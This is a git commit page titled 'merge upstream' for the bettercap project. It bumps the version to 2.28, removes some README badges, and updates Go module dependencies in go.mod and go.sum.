merge upstream

This commit is contained in:
Your Name 2020-10-14 16:44:01 +08:00
commit 542073e1d8
19 changed files with 525 additions and 332 deletions

View file

@ -4,9 +4,6 @@
<a href="https://github.com/bettercap/bettercap/releases/latest"><img alt="Release" src="https://img.shields.io/github/release/bettercap/bettercap.svg?style=flat-square"></a> <a href="https://github.com/bettercap/bettercap/releases/latest"><img alt="Release" src="https://img.shields.io/github/release/bettercap/bettercap.svg?style=flat-square"></a>
<a href="https://github.com/bettercap/bettercap/blob/master/LICENSE.md"><img alt="Software License" src="https://img.shields.io/badge/license-GPL3-brightgreen.svg?style=flat-square"></a> <a href="https://github.com/bettercap/bettercap/blob/master/LICENSE.md"><img alt="Software License" src="https://img.shields.io/badge/license-GPL3-brightgreen.svg?style=flat-square"></a>
<a href="https://travis-ci.org/bettercap/bettercap"><img alt="Travis" src="https://img.shields.io/travis/bettercap/bettercap/master.svg?style=flat-square"></a> <a href="https://travis-ci.org/bettercap/bettercap"><img alt="Travis" src="https://img.shields.io/travis/bettercap/bettercap/master.svg?style=flat-square"></a>
<a href="https://goreportcard.com/report/github.com/bettercap/bettercap"><img alt="Go Report Card" src="https://goreportcard.com/badge/github.com/bettercap/bettercap?style=flat-square&fuckgithubcache=1"></a>
<a href="https://codecov.io/gh/bettercap/bettercap"><img alt="Code Coverage" src="https://img.shields.io/codecov/c/github/bettercap/bettercap/master.svg?style=flat-square"></a>
<a href="https://repology.org/project/bettercap/versions"><img src="https://repology.org/badge/tiny-repos/bettercap.svg" alt="Packaging status"></a>
</p> </p>
</p> </p>

View file

@ -2,7 +2,7 @@ package core
const ( const (
Name = "bettercap" Name = "bettercap"
Version = "2.27.1" Version = "2.28"
Author = "Simone 'evilsocket' Margaritelli" Author = "Simone 'evilsocket' Margaritelli"
Website = "https://bettercap.org/" Website = "https://bettercap.org/"
) )

43
go.mod
View file

@ -3,9 +3,9 @@ module github.com/bettercap/bettercap
go 1.12 go 1.12
require ( require (
github.com/adrianmo/go-nmea v1.1.0 github.com/adrianmo/go-nmea v1.3.0
github.com/antchfx/jsonquery v1.0.0 github.com/antchfx/jsonquery v1.1.4
github.com/antchfx/xpath v1.1.0 // indirect github.com/antchfx/xpath v1.1.10 // indirect
github.com/bettercap/gatt v0.0.0-20191018133023-569d3d9372bb github.com/bettercap/gatt v0.0.0-20191018133023-569d3d9372bb
github.com/bettercap/nrf24 v0.0.0-20190219153547-aa37e6d0e0eb github.com/bettercap/nrf24 v0.0.0-20190219153547-aa37e6d0e0eb
github.com/bettercap/readline v0.0.0-20180208083827-9cec905dd291 github.com/bettercap/readline v0.0.0-20180208083827-9cec905dd291
@ -13,36 +13,35 @@ require (
github.com/chifflier/nfqueue-go v0.0.0-20170228160439-61ca646babef github.com/chifflier/nfqueue-go v0.0.0-20170228160439-61ca646babef
github.com/chzyer/logex v1.1.10 // indirect github.com/chzyer/logex v1.1.10 // indirect
github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1 // indirect github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1 // indirect
github.com/davecgh/go-spew v1.1.1 // indirect
github.com/dustin/go-humanize v1.0.0 github.com/dustin/go-humanize v1.0.0
github.com/elazarl/goproxy v0.0.0-20191011121108-aa519ddbe484 github.com/elazarl/goproxy v0.0.0-20200809112317-0581fc3aee2d
github.com/evilsocket/islazy v1.10.4 github.com/evilsocket/islazy v1.10.6
github.com/gobwas/glob v0.0.0-20181002190808-e7a84e9525fe github.com/gobwas/glob v0.0.0-20181002190808-e7a84e9525fe
github.com/google/go-github v17.0.0+incompatible github.com/google/go-github v17.0.0+incompatible
github.com/google/go-querystring v1.0.0 // indirect github.com/google/go-querystring v1.0.0 // indirect
github.com/google/gopacket v1.1.17 github.com/google/gopacket v1.1.18
github.com/google/gousb v0.0.0-20190812193832-18f4c1d8a750 github.com/google/gousb v2.1.0+incompatible
github.com/gorilla/mux v1.7.3 github.com/gorilla/mux v1.8.0
github.com/gorilla/websocket v1.4.1 github.com/gorilla/websocket v1.4.2
github.com/hashicorp/mdns v1.0.1 github.com/hashicorp/mdns v1.0.3
github.com/inconshreveable/go-vhost v0.0.0-20160627193104-06d84117953b github.com/inconshreveable/go-vhost v0.0.0-20160627193104-06d84117953b
github.com/jpillora/go-tld v0.0.0-20190202073305-f16ca3b7b383 github.com/jpillora/go-tld v1.0.0
github.com/koppacetic/go-gpsd v0.4.0
github.com/kr/binarydist v0.1.0 // indirect github.com/kr/binarydist v0.1.0 // indirect
github.com/malfunkt/iprange v0.9.0 github.com/malfunkt/iprange v0.9.0
github.com/mattn/go-colorable v0.1.4 // indirect github.com/mattn/go-colorable v0.1.7 // indirect
github.com/mattn/go-isatty v0.0.10 // indirect
github.com/mdlayher/dhcp6 v0.0.0-20190311162359-2a67805d7d0b github.com/mdlayher/dhcp6 v0.0.0-20190311162359-2a67805d7d0b
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b // indirect github.com/mgutz/ansi v0.0.0-20200706080929-d51e80ef957d // indirect
github.com/mgutz/logxi v0.0.0-20161027140823-aebf8a7d67ab // indirect github.com/mgutz/logxi v0.0.0-20161027140823-aebf8a7d67ab // indirect
github.com/miekg/dns v1.1.22 github.com/miekg/dns v1.1.31
github.com/mitchellh/go-homedir v1.1.0 github.com/mitchellh/go-homedir v1.1.0
github.com/pkg/errors v0.8.1 // indirect github.com/pkg/errors v0.9.1 // indirect
github.com/robertkrimen/otto v0.0.0-20180617131154-15f95af6e78d github.com/robertkrimen/otto v0.0.0-20200922221731-ef014fd054ac
github.com/stretchr/testify v1.3.0 // indirect
github.com/tarm/serial v0.0.0-20180830185346-98f6abe2eb07 github.com/tarm/serial v0.0.0-20180830185346-98f6abe2eb07
golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550 // indirect golang.org/x/crypto v0.0.0-20200820211705-5c72a883971a // indirect
golang.org/x/net v0.0.0-20191014212845-da9a3fd4c582 golang.org/x/net v0.0.0-20200925080053-05aa5d4ee321
golang.org/x/sys v0.0.0-20191018095205-727590c5006e // indirect golang.org/x/sys v0.0.0-20200923182605-d9f96fdee20d // indirect
golang.org/x/text v0.3.3 // indirect
gopkg.in/sourcemap.v1 v1.0.5 // indirect gopkg.in/sourcemap.v1 v1.0.5 // indirect
honnef.co/go/tools v0.0.0-2019.2.1 // indirect honnef.co/go/tools v0.0.0-2019.2.1 // indirect
) )

60
go.sum
View file

@ -2,14 +2,21 @@ github.com/BurntSushi/toml v0.3.1 h1:WXkYYl6Yr3qBf1K79EBnL4mak0OimBfB0XUf9Vl28OQ
github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=
github.com/adrianmo/go-nmea v1.1.0 h1:0NILSj14nj6LvVQHo/afHbyPgGz5qvp5PM6jmMyAQzY= github.com/adrianmo/go-nmea v1.1.0 h1:0NILSj14nj6LvVQHo/afHbyPgGz5qvp5PM6jmMyAQzY=
github.com/adrianmo/go-nmea v1.1.0/go.mod h1:HHPxPAm2kmev+61qmkZh7xgZF/7qHtSpsWppip2Ipv8= github.com/adrianmo/go-nmea v1.1.0/go.mod h1:HHPxPAm2kmev+61qmkZh7xgZF/7qHtSpsWppip2Ipv8=
github.com/adrianmo/go-nmea v1.3.0 h1:BFrLRj/oIh+DYujIKpuQievq7X3NDHYq57kNgsfr2GY=
github.com/adrianmo/go-nmea v1.3.0/go.mod h1:u8bPnpKt/D/5rll/5l9f6iDfeq5WZW0+/SXdkwix6Tg=
github.com/antchfx/jsonquery v0.0.0-20180821084212-a2896be8c82b h1:oREWiN8d6BYorETYz2PH2Kk0CtUdp0RETyab7ep4jNY= github.com/antchfx/jsonquery v0.0.0-20180821084212-a2896be8c82b h1:oREWiN8d6BYorETYz2PH2Kk0CtUdp0RETyab7ep4jNY=
github.com/antchfx/jsonquery v0.0.0-20180821084212-a2896be8c82b/go.mod h1:h7950pvPrUZzJIflNqsELgDQovTpPNa0rAHf8NwjegY= github.com/antchfx/jsonquery v0.0.0-20180821084212-a2896be8c82b/go.mod h1:h7950pvPrUZzJIflNqsELgDQovTpPNa0rAHf8NwjegY=
github.com/antchfx/jsonquery v1.0.0 h1:1Yhk496SrCoY6fJkFZqpXEqbwOw5sFtLns9la4NoK3I= github.com/antchfx/jsonquery v1.0.0 h1:1Yhk496SrCoY6fJkFZqpXEqbwOw5sFtLns9la4NoK3I=
github.com/antchfx/jsonquery v1.0.0/go.mod h1:h7950pvPrUZzJIflNqsELgDQovTpPNa0rAHf8NwjegY= github.com/antchfx/jsonquery v1.0.0/go.mod h1:h7950pvPrUZzJIflNqsELgDQovTpPNa0rAHf8NwjegY=
github.com/antchfx/jsonquery v1.1.4 h1:+OlFO3QS9wjU0MKx9MgHm5f6o6hdd4e9mUTp0wTjxlM=
github.com/antchfx/jsonquery v1.1.4/go.mod h1:cHs8r6Bymd8j6HI6Ej1IJbjahKvLBcIEh54dfmo+E9A=
github.com/antchfx/xpath v1.0.0 h1:Q5gFgh2O40VTSwMOVbFE7nFNRBu3tS21Tn0KAWeEjtk= github.com/antchfx/xpath v1.0.0 h1:Q5gFgh2O40VTSwMOVbFE7nFNRBu3tS21Tn0KAWeEjtk=
github.com/antchfx/xpath v1.0.0/go.mod h1:Yee4kTMuNiPYJ7nSNorELQMr1J33uOpXDMByNYhvtNk= github.com/antchfx/xpath v1.0.0/go.mod h1:Yee4kTMuNiPYJ7nSNorELQMr1J33uOpXDMByNYhvtNk=
github.com/antchfx/xpath v1.1.0 h1:mJTvYpiHvxNQRD4Lbfin/FodHVCHh2a5KrOFr4ZxMOI= github.com/antchfx/xpath v1.1.0 h1:mJTvYpiHvxNQRD4Lbfin/FodHVCHh2a5KrOFr4ZxMOI=
github.com/antchfx/xpath v1.1.0/go.mod h1:Yee4kTMuNiPYJ7nSNorELQMr1J33uOpXDMByNYhvtNk= github.com/antchfx/xpath v1.1.0/go.mod h1:Yee4kTMuNiPYJ7nSNorELQMr1J33uOpXDMByNYhvtNk=
github.com/antchfx/xpath v1.1.7/go.mod h1:Yee4kTMuNiPYJ7nSNorELQMr1J33uOpXDMByNYhvtNk=
github.com/antchfx/xpath v1.1.10 h1:cJ0pOvEdN/WvYXxvRrzQH9x5QWKpzHacYO8qzCcDYAg=
github.com/antchfx/xpath v1.1.10/go.mod h1:Yee4kTMuNiPYJ7nSNorELQMr1J33uOpXDMByNYhvtNk=
github.com/bettercap/gatt v0.0.0-20190418085356-fac16c0ad797 h1:P9DK7Ij21WQAPFTUix8rblTVKDdwJEimCVO5foIr2ik= github.com/bettercap/gatt v0.0.0-20190418085356-fac16c0ad797 h1:P9DK7Ij21WQAPFTUix8rblTVKDdwJEimCVO5foIr2ik=
github.com/bettercap/gatt v0.0.0-20190418085356-fac16c0ad797/go.mod h1:xbRFD+l8RcbQ3DscCiYX0dgEnXbwozZgm6oP2GXic+0= github.com/bettercap/gatt v0.0.0-20190418085356-fac16c0ad797/go.mod h1:xbRFD+l8RcbQ3DscCiYX0dgEnXbwozZgm6oP2GXic+0=
github.com/bettercap/gatt v0.0.0-20191018133023-569d3d9372bb h1:GOaknHS3DCZcBbQRScDl6uecgkrkK7YFToIA5Uc6lHU= github.com/bettercap/gatt v0.0.0-20191018133023-569d3d9372bb h1:GOaknHS3DCZcBbQRScDl6uecgkrkK7YFToIA5Uc6lHU=
@ -35,39 +42,59 @@ github.com/elazarl/goproxy v0.0.0-20190421051319-9d40249d3c2f h1:8GDPb0tCY8LQ+OJ
github.com/elazarl/goproxy v0.0.0-20190421051319-9d40249d3c2f/go.mod h1:/Zj4wYkgs4iZTTu3o/KG3Itv/qCCa8VVMlb3i9OVuzc= github.com/elazarl/goproxy v0.0.0-20190421051319-9d40249d3c2f/go.mod h1:/Zj4wYkgs4iZTTu3o/KG3Itv/qCCa8VVMlb3i9OVuzc=
github.com/elazarl/goproxy v0.0.0-20191011121108-aa519ddbe484 h1:pEtiCjIXx3RvGjlUJuCNxNOw0MNblyR9Wi+vJGBFh+8= github.com/elazarl/goproxy v0.0.0-20191011121108-aa519ddbe484 h1:pEtiCjIXx3RvGjlUJuCNxNOw0MNblyR9Wi+vJGBFh+8=
github.com/elazarl/goproxy v0.0.0-20191011121108-aa519ddbe484/go.mod h1:Ro8st/ElPeALwNFlcTpWmkr6IoMFfkjXAvTHpevnDsM= github.com/elazarl/goproxy v0.0.0-20191011121108-aa519ddbe484/go.mod h1:Ro8st/ElPeALwNFlcTpWmkr6IoMFfkjXAvTHpevnDsM=
github.com/elazarl/goproxy v0.0.0-20200809112317-0581fc3aee2d h1:rtM8HsT3NG37YPjz8sYSbUSdElP9lUsQENYzJDZDUBE=
github.com/elazarl/goproxy v0.0.0-20200809112317-0581fc3aee2d/go.mod h1:Ro8st/ElPeALwNFlcTpWmkr6IoMFfkjXAvTHpevnDsM=
github.com/elazarl/goproxy/ext v0.0.0-20190421051319-9d40249d3c2f h1:AUj1VoZUfhPhOPHULCQQDnGhRelpFWHMLhQVWDsS0v4= github.com/elazarl/goproxy/ext v0.0.0-20190421051319-9d40249d3c2f h1:AUj1VoZUfhPhOPHULCQQDnGhRelpFWHMLhQVWDsS0v4=
github.com/elazarl/goproxy/ext v0.0.0-20190421051319-9d40249d3c2f/go.mod h1:gNh8nYJoAm43RfaxurUnxr+N1PwuFV3ZMl/efxlIlY8= github.com/elazarl/goproxy/ext v0.0.0-20190421051319-9d40249d3c2f/go.mod h1:gNh8nYJoAm43RfaxurUnxr+N1PwuFV3ZMl/efxlIlY8=
github.com/elazarl/goproxy/ext v0.0.0-20190711103511-473e67f1d7d2/go.mod h1:gNh8nYJoAm43RfaxurUnxr+N1PwuFV3ZMl/efxlIlY8= github.com/elazarl/goproxy/ext v0.0.0-20190711103511-473e67f1d7d2/go.mod h1:gNh8nYJoAm43RfaxurUnxr+N1PwuFV3ZMl/efxlIlY8=
github.com/evilsocket/islazy v1.10.4 h1:Z5373Kn5Gh2EWch1Tb/Qxb6vyQ7lw704bmKi7sY4Ecs= github.com/evilsocket/islazy v1.10.4 h1:Z5373Kn5Gh2EWch1Tb/Qxb6vyQ7lw704bmKi7sY4Ecs=
github.com/evilsocket/islazy v1.10.4/go.mod h1:OrwQGYg3DuZvXUfmH+KIZDjwTCbrjy48T24TUpGqVVw= github.com/evilsocket/islazy v1.10.4/go.mod h1:OrwQGYg3DuZvXUfmH+KIZDjwTCbrjy48T24TUpGqVVw=
github.com/evilsocket/islazy v1.10.6 h1:MFq000a1ByoumoJWlytqg0qon0KlBeUfPsDjY0hK0bo=
github.com/evilsocket/islazy v1.10.6/go.mod h1:OrwQGYg3DuZvXUfmH+KIZDjwTCbrjy48T24TUpGqVVw=
github.com/gobwas/glob v0.0.0-20181002190808-e7a84e9525fe h1:8P+/htb3mwwpeGdJg69yBF/RofK7c6Fjz5Ypa/bTqbY= github.com/gobwas/glob v0.0.0-20181002190808-e7a84e9525fe h1:8P+/htb3mwwpeGdJg69yBF/RofK7c6Fjz5Ypa/bTqbY=
github.com/gobwas/glob v0.0.0-20181002190808-e7a84e9525fe/go.mod h1:d3Ez4x06l9bZtSvzIay5+Yzi0fmZzPgnTbPcKjJAkT8= github.com/gobwas/glob v0.0.0-20181002190808-e7a84e9525fe/go.mod h1:d3Ez4x06l9bZtSvzIay5+Yzi0fmZzPgnTbPcKjJAkT8=
github.com/golang/groupcache v0.0.0-20200121045136-8c9f03a8e57e h1:1r7pUrabqp18hOBcwBwiTsbnFeTZHV9eER/QT5JVZxY=
github.com/golang/groupcache v0.0.0-20200121045136-8c9f03a8e57e/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=
github.com/google/go-github v17.0.0+incompatible h1:N0LgJ1j65A7kfXrZnUDaYCs/Sf4rEjNlfyDHW9dolSY= github.com/google/go-github v17.0.0+incompatible h1:N0LgJ1j65A7kfXrZnUDaYCs/Sf4rEjNlfyDHW9dolSY=
github.com/google/go-github v17.0.0+incompatible/go.mod h1:zLgOLi98H3fifZn+44m+umXrS52loVEgC2AApnigrVQ= github.com/google/go-github v17.0.0+incompatible/go.mod h1:zLgOLi98H3fifZn+44m+umXrS52loVEgC2AApnigrVQ=
github.com/google/go-querystring v1.0.0 h1:Xkwi/a1rcvNg1PPYe5vI8GbeBY/jrVuDX5ASuANWTrk= github.com/google/go-querystring v1.0.0 h1:Xkwi/a1rcvNg1PPYe5vI8GbeBY/jrVuDX5ASuANWTrk=
github.com/google/go-querystring v1.0.0/go.mod h1:odCYkC5MyYFN7vkCjXpyrEuKhc/BUO6wN/zVPAxq5ck= github.com/google/go-querystring v1.0.0/go.mod h1:odCYkC5MyYFN7vkCjXpyrEuKhc/BUO6wN/zVPAxq5ck=
github.com/google/gopacket v1.1.17 h1:rMrlX2ZY2UbvT+sdz3+6J+pp2z+msCq9MxTU6ymxbBY= github.com/google/gopacket v1.1.17 h1:rMrlX2ZY2UbvT+sdz3+6J+pp2z+msCq9MxTU6ymxbBY=
github.com/google/gopacket v1.1.17/go.mod h1:UdDNZ1OO62aGYVnPhxT1U6aI7ukYtA/kB8vaU0diBUM= github.com/google/gopacket v1.1.17/go.mod h1:UdDNZ1OO62aGYVnPhxT1U6aI7ukYtA/kB8vaU0diBUM=
github.com/google/gopacket v1.1.18 h1:lum7VRA9kdlvBi7/v2p7/zcbkduHaCH/SVVyurs7OpY=
github.com/google/gopacket v1.1.18/go.mod h1:UdDNZ1OO62aGYVnPhxT1U6aI7ukYtA/kB8vaU0diBUM=
github.com/google/gousb v0.0.0-20190525092738-2dc560e6bea3 h1:3RtjTHQgWbD7dsPreVSkA5/LGfNnAZyjOtDXhargyEE= github.com/google/gousb v0.0.0-20190525092738-2dc560e6bea3 h1:3RtjTHQgWbD7dsPreVSkA5/LGfNnAZyjOtDXhargyEE=
github.com/google/gousb v0.0.0-20190525092738-2dc560e6bea3/go.mod h1:Tl4HdAs1ThE3gECkNwz+1MWicX6FXddhJEw7L8jRDiI= github.com/google/gousb v0.0.0-20190525092738-2dc560e6bea3/go.mod h1:Tl4HdAs1ThE3gECkNwz+1MWicX6FXddhJEw7L8jRDiI=
github.com/google/gousb v0.0.0-20190812193832-18f4c1d8a750 h1:DVKHLo3yE4psTjD9aM2pY7EHoicaQbgmaxxvvHC6ZSM= github.com/google/gousb v0.0.0-20190812193832-18f4c1d8a750 h1:DVKHLo3yE4psTjD9aM2pY7EHoicaQbgmaxxvvHC6ZSM=
github.com/google/gousb v0.0.0-20190812193832-18f4c1d8a750/go.mod h1:Tl4HdAs1ThE3gECkNwz+1MWicX6FXddhJEw7L8jRDiI= github.com/google/gousb v0.0.0-20190812193832-18f4c1d8a750/go.mod h1:Tl4HdAs1ThE3gECkNwz+1MWicX6FXddhJEw7L8jRDiI=
github.com/google/gousb v2.1.0+incompatible h1:ApzMDjF3FeO219QwWybJxYfFhXQzPLOEy0o+w9k5DNI=
github.com/google/gousb v2.1.0+incompatible/go.mod h1:Tl4HdAs1ThE3gECkNwz+1MWicX6FXddhJEw7L8jRDiI=
github.com/google/renameio v0.1.0/go.mod h1:KWCgfxg9yswjAJkECMjeO8J8rahYeXnNhOm40UhjYkI= github.com/google/renameio v0.1.0/go.mod h1:KWCgfxg9yswjAJkECMjeO8J8rahYeXnNhOm40UhjYkI=
github.com/gorilla/mux v1.7.2 h1:zoNxOV7WjqXptQOVngLmcSQgXmgk4NMz1HibBchjl/I= github.com/gorilla/mux v1.7.2 h1:zoNxOV7WjqXptQOVngLmcSQgXmgk4NMz1HibBchjl/I=
github.com/gorilla/mux v1.7.2/go.mod h1:1lud6UwP+6orDFRuTfBEV8e9/aOM/c4fVVCaMa2zaAs= github.com/gorilla/mux v1.7.2/go.mod h1:1lud6UwP+6orDFRuTfBEV8e9/aOM/c4fVVCaMa2zaAs=
github.com/gorilla/mux v1.7.3 h1:gnP5JzjVOuiZD07fKKToCAOjS0yOpj/qPETTXCCS6hw= github.com/gorilla/mux v1.7.3 h1:gnP5JzjVOuiZD07fKKToCAOjS0yOpj/qPETTXCCS6hw=
github.com/gorilla/mux v1.7.3/go.mod h1:1lud6UwP+6orDFRuTfBEV8e9/aOM/c4fVVCaMa2zaAs= github.com/gorilla/mux v1.7.3/go.mod h1:1lud6UwP+6orDFRuTfBEV8e9/aOM/c4fVVCaMa2zaAs=
github.com/gorilla/mux v1.8.0 h1:i40aqfkR1h2SlN9hojwV5ZA91wcXFOvkdNIeFDP5koI=
github.com/gorilla/mux v1.8.0/go.mod h1:DVbg23sWSpFRCP0SfiEN6jmj59UnW/n46BH5rLB71So=
github.com/gorilla/websocket v1.4.0 h1:WDFjx/TMzVgy9VdMMQi2K2Emtwi2QcUQsztZ/zLaH/Q= github.com/gorilla/websocket v1.4.0 h1:WDFjx/TMzVgy9VdMMQi2K2Emtwi2QcUQsztZ/zLaH/Q=
github.com/gorilla/websocket v1.4.0/go.mod h1:E7qHFY5m1UJ88s3WnNqhKjPHQ0heANvMoAMk2YaljkQ= github.com/gorilla/websocket v1.4.0/go.mod h1:E7qHFY5m1UJ88s3WnNqhKjPHQ0heANvMoAMk2YaljkQ=
github.com/gorilla/websocket v1.4.1 h1:q7AeDBpnBk8AogcD4DSag/Ukw/KV+YhzLj2bP5HvKCM= github.com/gorilla/websocket v1.4.1 h1:q7AeDBpnBk8AogcD4DSag/Ukw/KV+YhzLj2bP5HvKCM=
github.com/gorilla/websocket v1.4.1/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE= github.com/gorilla/websocket v1.4.1/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
github.com/gorilla/websocket v1.4.2 h1:+/TMaTYc4QFitKJxsQ7Yye35DkWvkdLcvGKqM+x0Ufc=
github.com/gorilla/websocket v1.4.2/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
github.com/hashicorp/mdns v1.0.1 h1:XFSOubp8KWB+Jd2PDyaX5xUd5bhSP/+pTDZVDMzZJM8= github.com/hashicorp/mdns v1.0.1 h1:XFSOubp8KWB+Jd2PDyaX5xUd5bhSP/+pTDZVDMzZJM8=
github.com/hashicorp/mdns v1.0.1/go.mod h1:4gW7WsVCke5TE7EPeYliwHlRUyBtfCwuFwuMg2DmyNY= github.com/hashicorp/mdns v1.0.1/go.mod h1:4gW7WsVCke5TE7EPeYliwHlRUyBtfCwuFwuMg2DmyNY=
github.com/hashicorp/mdns v1.0.3 h1:hPneYJlzSjxFBmUlnDGXRykxBZ++dQAJhU57gCO7TzI=
github.com/hashicorp/mdns v1.0.3/go.mod h1:P9sIDVQGUBr2GtS4qS2QCBdtgqP7TBt6d8looU5l5r4=
github.com/inconshreveable/go-vhost v0.0.0-20160627193104-06d84117953b h1:IpLPmn6Re21F0MaV6Zsc5RdSE6KuoFpWmHiUSEs3PrE= github.com/inconshreveable/go-vhost v0.0.0-20160627193104-06d84117953b h1:IpLPmn6Re21F0MaV6Zsc5RdSE6KuoFpWmHiUSEs3PrE=
github.com/inconshreveable/go-vhost v0.0.0-20160627193104-06d84117953b/go.mod h1:aA6DnFhALT3zH0y+A39we+zbrdMC2N0X/q21e6FI0LU= github.com/inconshreveable/go-vhost v0.0.0-20160627193104-06d84117953b/go.mod h1:aA6DnFhALT3zH0y+A39we+zbrdMC2N0X/q21e6FI0LU=
github.com/jpillora/go-tld v0.0.0-20190202073305-f16ca3b7b383 h1:/ODEnccTd4m/1YbCDCZBIoo+W1BC+PjOzvfX8y++b5s= github.com/jpillora/go-tld v0.0.0-20190202073305-f16ca3b7b383 h1:/ODEnccTd4m/1YbCDCZBIoo+W1BC+PjOzvfX8y++b5s=
github.com/jpillora/go-tld v0.0.0-20190202073305-f16ca3b7b383/go.mod h1:7H/4k+TVAFSXCq+KcvelJ5hClsXnabjF52BLYqgaqcQ= github.com/jpillora/go-tld v0.0.0-20190202073305-f16ca3b7b383/go.mod h1:7H/4k+TVAFSXCq+KcvelJ5hClsXnabjF52BLYqgaqcQ=
github.com/jpillora/go-tld v1.0.0 h1:W0Wz3fYT9WCDNJXcXc58uV7sriLnVeELeOU5MP5X42M=
github.com/jpillora/go-tld v1.0.0/go.mod h1:kitBxOF//DR5FxYeIGw+etdiiTIq5S7bx0dwy1GUNAk=
github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck= github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck=
github.com/koppacetic/go-gpsd v0.4.0 h1:/T3cRvi1ZsWbxCZPB9pPor0HjIw3HuD+MSvaxV5QqQ8=
github.com/koppacetic/go-gpsd v0.4.0/go.mod h1:mhcLuh9X++WHepbL3jEmEwnx1OkQDepZMihv12RO4qk=
github.com/kr/binarydist v0.1.0 h1:6kAoLA9FMMnNGSehX0s1PdjbEaACznAv/W219j2uvyo= github.com/kr/binarydist v0.1.0 h1:6kAoLA9FMMnNGSehX0s1PdjbEaACznAv/W219j2uvyo=
github.com/kr/binarydist v0.1.0/go.mod h1:DY7S//GCoz1BCd0B0EVrinCKAZN3pXe+MDaIZbXQVgM= github.com/kr/binarydist v0.1.0/go.mod h1:DY7S//GCoz1BCd0B0EVrinCKAZN3pXe+MDaIZbXQVgM=
github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo=
@ -79,14 +106,20 @@ github.com/mattn/go-colorable v0.1.2 h1:/bC9yWikZXAL9uJdulbSfyVNIR3n3trXl+v8+1sx
github.com/mattn/go-colorable v0.1.2/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE= github.com/mattn/go-colorable v0.1.2/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE=
github.com/mattn/go-colorable v0.1.4 h1:snbPLB8fVfU9iwbbo30TPtbLRzwWu6aJS6Xh4eaaviA= github.com/mattn/go-colorable v0.1.4 h1:snbPLB8fVfU9iwbbo30TPtbLRzwWu6aJS6Xh4eaaviA=
github.com/mattn/go-colorable v0.1.4/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE= github.com/mattn/go-colorable v0.1.4/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE=
github.com/mattn/go-colorable v0.1.7 h1:bQGKb3vps/j0E9GfJQ03JyhRuxsvdAanXlT9BTw3mdw=
github.com/mattn/go-colorable v0.1.7/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
github.com/mattn/go-isatty v0.0.8 h1:HLtExJ+uU2HOZ+wI0Tt5DtUDrx8yhUqDcp7fYERX4CE= github.com/mattn/go-isatty v0.0.8 h1:HLtExJ+uU2HOZ+wI0Tt5DtUDrx8yhUqDcp7fYERX4CE=
github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s= github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s=
github.com/mattn/go-isatty v0.0.10 h1:qxFzApOv4WsAL965uUPIsXzAKCZxN2p9UqdhFS4ZW10= github.com/mattn/go-isatty v0.0.10 h1:qxFzApOv4WsAL965uUPIsXzAKCZxN2p9UqdhFS4ZW10=
github.com/mattn/go-isatty v0.0.10/go.mod h1:qgIWMr58cqv1PHHyhnkY9lrL7etaEgOFcMEpPG5Rm84= github.com/mattn/go-isatty v0.0.10/go.mod h1:qgIWMr58cqv1PHHyhnkY9lrL7etaEgOFcMEpPG5Rm84=
github.com/mattn/go-isatty v0.0.12 h1:wuysRhFDzyxgEmMf5xjvJ2M9dZoWAXNNr5LSBS7uHXY=
github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
github.com/mdlayher/dhcp6 v0.0.0-20190311162359-2a67805d7d0b h1:r12blE3QRYlW1WBiBEe007O6NrTb/P54OjR5d4WLEGk= github.com/mdlayher/dhcp6 v0.0.0-20190311162359-2a67805d7d0b h1:r12blE3QRYlW1WBiBEe007O6NrTb/P54OjR5d4WLEGk=
github.com/mdlayher/dhcp6 v0.0.0-20190311162359-2a67805d7d0b/go.mod h1:p4K2+UAoap8Jzsadsxc0KG0OZjmmCthTPUyZqAVkjBY= github.com/mdlayher/dhcp6 v0.0.0-20190311162359-2a67805d7d0b/go.mod h1:p4K2+UAoap8Jzsadsxc0KG0OZjmmCthTPUyZqAVkjBY=
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b h1:j7+1HpAFS1zy5+Q4qx1fWh90gTKwiN4QCGoY9TWyyO4= github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b h1:j7+1HpAFS1zy5+Q4qx1fWh90gTKwiN4QCGoY9TWyyO4=
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b/go.mod h1:01TrycV0kFyexm33Z7vhZRXopbI8J3TDReVlkTgMUxE= github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b/go.mod h1:01TrycV0kFyexm33Z7vhZRXopbI8J3TDReVlkTgMUxE=
